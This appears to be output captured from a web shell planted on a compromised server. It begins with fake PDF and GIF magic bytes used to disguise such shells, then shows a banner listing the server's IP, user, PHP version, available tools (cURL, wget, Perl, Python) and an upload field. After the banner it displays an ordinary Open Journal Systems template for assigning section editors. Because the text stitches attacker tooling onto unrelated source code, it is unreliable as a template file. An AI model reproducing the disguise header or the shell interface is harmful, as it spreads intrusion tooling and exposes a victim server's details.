%PDF-1.7 GIF89;
| Server IP : 172.66.157.178 / Your IP : 172.16.20.3 Web Server : Apache/2.4.25 (Debian) System : Linux f64a392e70de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64 User : application ( 1000) PHP Version : 5.6.40 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /app/plugins/themes/JetJournal/templates/editor/ |
Upload File : |
{**
* templates/editor/selectSectionEditor.tpl
*
* Copyright (c) 2003-2012 John Willinsky
* Distributed under the GNU GPL v2. For full terms see the file docs/COPYING.
*
* List editors or section editors and give the ability to select one.
*
*}
{strip}
{assign var="pageTitle" value=$roleName|concat:"s"}
{include file="common/header.tpl"}
{/strip}
<h3>{translate key="editor.article.selectEditor" roleName=$roleName|translate}</h3>
<form id="submit" method="post" action="{url op="assignEditor" path=$rolePath articleId=$articleId}">
<select name="searchField" size="1" class="selectMenu">
{html_options_translate options=$fieldOptions selected=$searchField}
</select>
<select name="searchMatch" size="1" class="selectMenu">
<option value="contains"{if $searchMatch == 'contains'} selected="selected"{/if}>{translate key="form.contains"}</option>
<option value="is"{if $searchMatch == 'is'} selected="selected"{/if}>{translate key="form.is"}</option>
<option value="startsWith"{if $searchMatch == 'startsWith'} selected="selected"{/if}>{translate key="form.startsWith"}</option>
</select>
<input type="text" name="search" class="textField" value="{$search|escape}" /> <input type="submit" value="{translate key="common.search"}" class="button" />
</form>
<p>{foreach from=$alphaList item=letter}<a href="{url op="assignEditor" path=$rolePath articleId=$articleId searchInitial=$letter}">{if $letter == $searchInitial}<strong>{$letter|escape}</strong>{else}{$letter|escape}{/if}</a> {/foreach}<a href="{url op="assignEditor" articleId=$articleId}">{if $searchInitial==''}<strong>{translate key="common.all"}</strong>{else}{translate key="common.all"}{/if}</a></p>
<div id="editors">
<table width="100%" class="listing">
<tr><td colspan="5" class="headseparator"> </td></tr>
<tr valign="bottom">
<td class="heading" width="30%">{translate key="user.name"}</td>
<td class="heading" width="20%">{translate key="section.sections"}</td>
<td class="heading" width="20%">{translate key="submissions.completed"}</td>
<td class="heading" width="20%">{translate key="submissions.active"}</td>
<td class="heading" width="10%">{translate key="common.action"}</td>
</tr>
<tr><td colspan="5" class="headseparator"> </td></tr>
{iterate from=editors item=editor}
{assign var=editorId value=$editor->getId()}
<tr valign="top">
<td><a class="action" href="{url op="userProfile" path=$editorId}">{$editor->getFullName()|escape}</a></td>
<td>
{assign var=thisEditorSections value=$editorSections[$editorId]}
{foreach from=$thisEditorSections item=section}
{$section->getLocalizedAbbrev()|escape}
{foreachelse}
—
{/foreach}
</td>
<td>
{if $editorStatistics[$editorId] && $editorStatistics[$editorId].complete}
{$editorStatistics[$editorId].complete}
{else}
0
{/if}
</td>
<td>
{if $editorStatistics[$editorId] && $editorStatistics[$editorId].incomplete}
{$editorStatistics[$editorId].incomplete}
{else}
0
{/if}
</td>
<td><a class="action" href="{url op="assignEditor" articleId=$articleId editorId=$editorId}">{translate key="common.assign"}</a></td>
</tr>
<tr><td colspan="5" class="{if $editors->eof()}end{/if}separator"> </td></tr>
{/iterate}
{if $editors->wasEmpty()}
<tr>
<td colspan="5" class="nodata">{translate key="manager.people.noneEnrolled"}</td>
</tr>
<tr><td colspan="5" class="{if $editors->eof()}end{/if}separator"> </td></tr>
{else}
<tr>
<td colspan="2" align="left">{page_info iterator=$editors}</td>
<td colspan="3" align="right">{page_links anchor="editors" name="editors" iterator=$editors searchInitial=$searchInitial searchField=$searchField searchMatch=$searchMatch search=$search dateFromDay=$dateFromDay dateFromYear=$dateFromYear dateFromMonth=$dateFromMonth dateToDay=$dateToDay dateToYear=$dateToYear dateToMonth=$dateToMonth articleId=$articleId}</td>
</tr>
{/if}
</table>
</div>
{include file="common/footer.tpl"}